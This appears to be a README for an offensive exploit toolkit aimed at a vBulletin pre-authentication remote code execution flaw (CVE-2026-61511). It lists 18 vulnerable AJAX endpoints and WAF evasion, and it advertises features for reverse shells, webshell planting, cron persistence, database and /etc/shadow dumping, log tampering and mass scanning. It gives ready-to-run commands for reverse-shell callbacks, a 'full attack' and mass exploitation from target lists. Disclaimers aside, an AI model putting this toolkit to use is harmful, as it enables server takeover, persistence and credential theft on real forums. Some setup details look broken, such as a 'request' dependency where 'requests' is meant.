Share 
## https://sploitus.com/exploit?id=D9B63961-6F61-5168-B5AD-DC36691CB8E8
![CVEPoC](61511.png)
# CVE-2026-61511 – vBulletin Pre‑Auth RCE Exploit & Verifier

[![Python 3.8+](https://img.shields.io/badge/python-3.8+-blue.svg)](https://www.python.org/downloads/)
[![CVSS](https://img.shields.io/badge/CVSS-9.8%20Critical-red)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
[![Author](https://img.shields.io/badge/author-tc4dy-purple.svg)](https://github.com/tc4dy)
[![vBulletin](https://img.shields.io/badge/vBulletin-5.x%2F6.x-orange.svg)](https://www.vbulletin.com/) 

> **⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING**  
> This repository provides tools for **authorized security professionals, blue teams, and penetration testers** only.  
> Unauthorized access to computer systems is illegal under **CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.**

---

## 📖 Vulnerability Overview

**CVE‑2026‑61511** is a PHP `eval()` injection flaw in vBulletin's AJAX template rendering engine.  
Affected versions: **5.0.0 – 5.7.5** and **6.0.0 – 6.2.1**.

### How it works

1. **Multiple attack endpoints** – the bug exists in several AJAX handlers:
   - `/ajax/render/pagenav`
   - `/ajax/api/ad/replaceAdTemplate`
   - `/ajax/render/widget_php`
   - `/ajax/render/widget_tabbedcontainer_tab_panel`
   - Various `/ajax/api/content_* /getIndexableContent` endpoints

2. **PHPFuck encoding** – the payload is transformed into a sequence of PHP operators and numbers that bypasses WAF filters and allows arbitrary PHP code execution.

3. **No authentication required** – an attacker can send a crafted POST request to any vulnerable endpoint and execute system commands with the privileges of the web server.

4. **Impact** – full server compromise, data theft, backdoors, lateral movement, and persistence. Upgrade the version!

### Patch
- **vBulletin 6.2.2** and **Patch Level 1** for older versions fix this issue.  
- **Always upgrade** to the latest version.

---

## 🧰 Tools

| Tool | Purpose | Intended User |
|------|---------|---------------|
| **`exploit.py`** | Full toolkit with reverse shell, persistence, file operations, database dump, firewall management, log management, port forwarding, SSH key deployment, network scanning, and mass scanning (multi‑threaded). | Red teams / authorized pentesters |
| **`safecheck.py`** | Non‑intrusive verifier that checks vulnerability without executing any malicious payload. Detects version, tests all endpoints, and generates a detailed report. | Blue teams / security auditors |

---

## 📊 Feature Comparison

| Feature | `exploit.py` | `safecheck.py` |
|---------|:------------:|:--------------:|
| Vulnerability detection | ✅ | ✅ |
| Version detection | ✅ | ✅ |
| Multi‑endpoint testing (18 paths) | ✅ | ✅ |
| Command execution | ✅ | ❌ |
| Reverse shell | ✅ | ❌ |
| File upload/download | ✅ | ❌ |
| Persistence mechanisms | ✅ | ❌ |
| Web shell deployment | ✅ | ❌ |
| Database operations | ✅ | ❌ |
| System information gathering | ✅ | ✅ |
| Firewall management | ✅ | ❌ |
| Log management | ✅ | ❌ |
| Port forwarding | ✅ | ❌ |
| SSH key deployment | ✅ | ❌ |
| Network scanning | ✅ | ❌ |
| Mass scanning (multi‑thread) | ✅ | ❌ |
| Proxy support | ✅ | ✅ |
| JSON report output | ✅ | ✅ |
| Interactive menu | ✅ | ❌ |
| Non‑intrusive (safe) mode | ❌ | ✅ |
| Verbose/Debug mode | ✅ | ✅ |
| Custom command execution | ✅ | ❌ |
| Multi‑command chaining | ✅ | ❌ |
| Remote file reading | ✅ | ❌ |
| Remote file writing | ✅ | ❌ |
| System user management | ✅ | ❌ |
| Firewall bypass techniques | ✅ | ❌ |
| WAF evasion (PHPFuck) | ✅ | ✅ |

---

## 🎯 Use Case Summary

| Scenario | Recommended Tool |
|----------|------------------|
| **Blue Team** – verifying if your vBulletin installation is vulnerable | `safecheck.py` |
| **Security Audit** – non‑intrusive vulnerability assessment | `safecheck.py` |
| **Red Team** – authorized penetration testing with full exploitation | `exploit.py` |
| **Bug Bounty** – responsible disclosure testing | `safecheck.py` |
| **Mass Scanning** – checking multiple targets for vulnerability | `exploit.py` (detection only) |
| **Incident Response** – checking if systems are compromised | `safecheck.py` |

---

## ⚙️ Installation

```bash
git clone https://github.com/tc4dy/CVE-2026-61511-PoC-Exploit
cd CVE-2026-61511
pip install -r requirements.txt
```

requirements.txt content:

```
request
urllib3
```

## Parameters 🌬️

| Parameter | Description |
|-----------|-------------|
| `-t, --target` | Target URL (e.g. `http://forum.com/vb`) |
| `--proxy` | HTTP proxy (e.g. `http://127.0.0.1:8080`) |
| `--timeout` | Request timeout in seconds (default: 10) |
| `--retry` | Retry count per path (default: 3) |
| `--output` | Save detailed report to JSON file |
| `-v, --verbose` | Verbose output |
| `-q, --quiet` | Quiet mode (minimal output) |
| `--lhost` | **Required for exploit** – IP for callback |
| `--lport` | Port for callback (default: 4444) |
| `--threads` | Threads for mass scanning (default: 5) |
| `--exploit` | Perform exploitation after detection |
| `--full` | Full attack (all modules) |
| `--shell` | Start reverse shell |
| `--webshell` | Install webshell (`/shell.php`) |
| `--persist` | Install persistence (cron job) |
| `--dump` | Dump database |
| `--dump-creds` | Dump credentials (`/etc/passwd`, `/etc/shadow`) |
| `--interactive` | Interactive menu after successful verification |

### Scenarios 

| # | Scenario | Command |
|---|----------|---------|
| 1 | Quick vulnerability check | `python safecheck.py -t http://target.com/vb` |
| 2 | Detailed scan with report | `python safecheck.py -t http://target.com/vb --output report.json -v` |
| 3 | Reverse shell | `python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --lport 4444 --shell` |
| 4 | Full attack (all modules) | `python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --full` |
| 5 | Mass scanning from file | `python exploit.py -l targets.txt --lhost 192.168.1.100 --threads 20 --output results.json` |
| 6 | Interactive menu mode | `python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --interactive` |

## Endpoint Pool 🅿️

| # | Endpoint |
|---|----------|
| 1 | `/ajax/render/pagenav` |
| 2 | `/ajax/render/pagenav?template=page` |
| 3 | `/ajax/api/ad/replaceAdTemplate` |
| 4 | `/ajax/render/widget_php` |
| 5 | `/ajax/render/widget_tabbedcontainer_tab_panel` |
| 6 | `/ajax/api/content_infraction/getIndexableContent` |
| 7 | `/ajax/api/content_video/getIndexableContent` |
| 8 | `/ajax/api/content_text/getIndexableContent` |
| 9 | `/ajax/api/content_report/getIndexableContent` |
| 10 | `/ajax/api/content_redirect/getIndexableContent` |
| 11 | `/ajax/api/content_privatemessage/getIndexableContent` |
| 12 | `/ajax/api/content_poll/getIndexableContent` |
| 13 | `/ajax/api/content_photo/getIndexableContent` |
| 14 | `/ajax/api/content_link/getIndexableContent` |
| 15 | `/ajax/api/content_gallery/getIndexableContent` |
| 16 | `/ajax/api/content_event/getIndexableContent` |
| 17 | `/ajax/api/content_channel/getIndexableContent` |
| 18 | `/ajax/api/content_attach/getIndexableContent` |

## 🛡️ Responsible Use

- **Only use these tools on systems you own or have explicit written permission to test.**
- Unauthorized access is illegal and unethical.
- The authors are not responsible for any misuse.
- Always follow your country's laws and regulations.

This software is provided for **educational purposes and authorized security testing only**.